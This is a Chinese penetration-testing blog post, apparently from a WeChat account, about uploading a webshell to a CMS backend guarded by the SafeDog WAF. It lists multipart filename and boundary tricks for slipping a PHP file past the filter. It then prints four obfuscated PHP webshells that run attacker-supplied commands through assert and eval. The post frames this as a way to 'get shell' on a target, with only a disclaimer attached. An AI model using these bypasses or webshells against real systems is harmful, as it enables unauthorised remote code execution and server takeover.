![GetShell | 文件上传遇到WAF那就绕它 GetShell | 文件上传遇到WAF那就绕它]()
当在文件上传时遇到WAF时,怎么让自己不难受?那就绕TMD,绕过去就上去了,上去了就不难受了。一般WAF会匹配文件名,同时检测文件内容,本次记录为一次SafeDog的绕过。
进到一个后台,是个CMS,存在上传漏洞,么么么么,准备传马子……我NM,怎么还装了条狗子呢?你小汁,不识好歹。
接下来,找了一些绕过狗子的方法,嗯,都G了。G了并不代表在所有系统里都会G,这个其实跟系统也会有一点细微的关系。
在数据包中,某些WAF遇到分号回认为匹配结束,但系统会正常识别并完整获取。更改获取文件名处的内容为:filename="abc.jpg;.php",可以绕过上传,上传后保存为 abc.jpg;.php
filename=="xxx.php",添加多个等号来尝试。
filename=;filename="xxx.php",通过插入多个filename参数,部分waf只会识别第一个filename的内容,但是服务端保存时会保存最后一个。
这个我具体也不知道是啥,大概是能饶过的话,就是去除引号之后导致某些waf无法正常识别内容,然后绕过去了吧。
将filename="xxx.p h p" 中,php后缀回车换行,不分WAF匹配时会将文件名识别为 xxx.pnhnp 只要将不是 .php 就行 上传保存时会自动取消 n ,保存为 xxx.php
作为一个菜狗,是不会轻易放弃的,所以最后摸出来几种绕过文件名的手法,跟我一起往下看。
在参数中添加大量字符,当字符量超出WAF判断范围时,将可能绕过WAF检测。
文件名中加入大量字符,当字符量超出WAF判断范围时,将可能绕过WAF检测。
不过,有可能你绕过去了之后……目标系统本身支持不了这种方式,但是这个系统会自动重命名文件,有一说一,上去了。
这个东西在下面重点介绍一下,这边直接先来看看效果怎么样:
Content-Type:互联网媒体类型, 也叫MIME类型,在HTTP消息头中,使用Content-Type来表示请求和响应中的媒体数据格式标签,区分数据类型。常见Content-Type的格式如下:
Content-Type: text/html;
Content-Type:type/subtype;parameter
Content-Type:application/x-www-form-urlencoded
Content-Type: application/json;charset:utf-8;
Content-Type:multipart/form-data
那么这边我们要说的是类型是:multipart/form-data
当服务器在接收POST请求来的数据时,正式通过此种方式获取开始与结尾的标识,利用 boundary 边界来获取位置:
![GetShell | 文件上传遇到WAF那就绕它 GetShell | 文件上传遇到WAF那就绕它]()
通过测试发现,更改参数2和参数3的边界值,均会导致数据包无法正常的进行响应:
最终测试发现,我们只需要在其实边界值后添加一个分号,就能绕过waf的识别。原理估计跟前面的差不多,waf同样会通过Content-Type来获取数据,识别到分号时认为匹配结束。
虽然文件已经上去了,但是执行依然会被拦截,所以我们需要想办法更改Shell,让waf无法正则匹配关键内容。
下面的内容我就不详细介绍了,简单列两种绕过的写法:
<?php
function a(){
return 'assert';
}
$a = a();
$b =array($_REQUEST[123]);
call_user_func_array($a,$a=$b);
?>
<?php
function a(){
return 'assert';
}
$a = a();
$b =array($_REQUEST[123]);
call_user_func_array($a,$a=$b);
?>
![GetShell | 文件上传遇到WAF那就绕它 GetShell | 文件上传遇到WAF那就绕它]()
然后你就看到了,虽然没被拦截了,但是这两玩意执行不了全是报错,NMD,不对啊,理论上来说不应该啊。
最后我发现这系统,NM是PHP7.x的版本啊,我焯……这两方式在PHP7之前的版本都没毛病的,PHP7之后改了很多特性,所以不行了。
<?php
class Shell
{
var $arg;
function setarg($str)
{
$this->arg = '' . $str . null;
}
function go()
{
eval("$this->arg");
}
}
$run = new Shell;
$run->setarg($_REQUEST['xlz']);
$run->go();
?>
<?php
class Shell
{
public $arg = '';
function __destruct()
{
eval("$this->arg");
}
}
$run = new Shell;
$run->arg = $_REQUEST['xlz'];
?>
![GetShell | 文件上传遇到WAF那就绕它 GetShell | 文件上传遇到WAF那就绕它]()
![GetShell | 文件上传遇到WAF那就绕它 GetShell | 文件上传遇到WAF那就绕它]()
利用本账号所发文章
进行直接或间接的非法行为
均由操作者本人负全责
犀利猪安全及文章对应作者
不为此承担任何责任
文章来自互联网或原创
如有侵权可联系我方进行删除
并诚挚的跟您说声抱歉
原文始发于微信公众号(犀利猪安全):GetShell | 文件上传遇到WAF那就绕它
评论